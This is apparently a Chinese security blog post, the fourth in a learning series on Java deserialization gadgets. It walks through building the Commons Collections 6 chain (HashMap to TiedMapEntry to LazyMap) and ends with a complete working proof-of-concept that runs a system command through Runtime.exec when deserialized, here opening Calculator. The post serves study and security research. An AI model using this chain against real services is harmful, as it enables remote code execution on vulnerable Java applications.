反序列化Gadget学习篇四 CommonCollections6

这一次来解决前几篇说到的AnnotationInvocationHandler#readObject方法在jdk8u71之后无法使用的问题,情况是导弹的弹头仍然生效,但是负责运送的导弹失效了,所以我们需要找一个新的运送导弹。

一、利用链寻找

前面说到我们使用AnnotationInvocationHandler这个类是因为它的readObject方法中队我们初始化好的一个Map调用get(),那现在需要寻找一个新的方法,找gadget一般是反向找,首先看哪个地方调用到了LazyMap.get(),这次找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
在其getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法:


import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

// ...
    
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
// ...

下一步要寻找什么地方调用了TiedMapEntry#hashCode()

ysoserial中,是利⽤java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最后到TiedMapEntry#hashCode()
@phith0n的文章中用的是相对简单一些链,从java.util.HashMap#readObject中就可以找到HashMap#hash()

public class HashMap<K,V> extends AbstractMap<K,V>
    implements Map<K,V>, Cloneable, Serializable {
    
    // ...
    
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

    // ...
    
    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // ...
        
            s.defaultReadObject();
    
        // ...
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
}

构造Gadget

现在有了前面的经验,我们来直接根据这些信息写Gadget:
HashMap#readObject --> HashMap#hash() --> TiedMapEntry#hashCode() --> TiedMapEntry#getValue() --> LazyMap#get() 后面和之前一致。
首先一样构造出恶意的LazyMap:

Transformer transformer[] = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformer);
Map innerMap = new HashMap<>();

Map outMap = LazyMap.decorate(innerMap, transformerChain);

下一步构造一个TiedMapEntry,使用构造好的LazyMap初始化:

TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");

最终我们要发送一个HashMap对象,初始化一个新的HashMap,并把TiedMapEntry作为key:

TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
HashMap map = new HashMap();
map.put(tme, "whatevedr");

直接序列化发送即可,这里本地复现:


ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();

//本地反序列化复现
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();

执行触发,表面上实现了功能,但是实际上存在问题:

问题

在调试查看调用栈的时候发现,代码并没有执行到readObject就停止了,但是仍然弹出了计算器,报错产生在writeObject(),那么如果是实战,会发现无法得到恶意类的序列化数据。简单思考一下就明白,出现了之前说过的问题,直接把恶意的transform链绑定到lazymap上了,可能前面有某个地方调用到了,或者调试器调用到了,导致本地弹出计算器。
手动调试发现,在new TiedMapEntry时,调试器会触发,弹出计算器。所以我们还要先设置一个假的transform链,最后再通过反射改到真正的恶意链上。
新增加一个faketransformers

Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

在map.put后添加通过反射修改ChainedTransformer的字段的代码:

map.put(tme, "whatevedr");
Field f = ChainedTransformer.class.getField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);

再执行,发现这次没有报错了,输出了序列化后的数据,但是也不弹出计算器了。继续调试发现在LazyMap#get调用transform的关键函数前的一个if判断:

因为map中包含一个key名为whatever导致跳过了代码执行部分,但是我们并没有给map增加一个key名为whatever。
poc代码中和whatever有关联的部分只有三行:

TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");

在调试时给LazyMap#get下了断点,重新调试发现在打印序列化数据之前就调用到了这部分,查看调用栈,发现HashMap#put也会调用Hash函数,导致最终的map和预期的不一致:

outMap多了一个key是whatever:

因此解决方案就是手动把这个key去掉:

outMap.remove("whatever");

再次执行成功弹出计算器:

完整代码:

package changez.sec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer transformer[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();

        Map outMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
        Map map = new HashMap();
        map.put(tme, "valuevalue");
        // HashMap.put方法也会调用hash,导致触发利用链执行,但是这时候使用的是faketransformers,没有执行命令但是导致数组多了一个key为whatever,最终会导致反序列化时无法执行命令
        // 手动删除这个key保证执行到LazyMap.get()里面的this.factory.transform(key)
        outMap.remove("whatever");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformer);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();

        System.out.println(barr);
        ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();


    }

}
posted @ 2021-07-29 18:23  ChanGeZ  阅读(131)  评论(0编辑  收藏  举报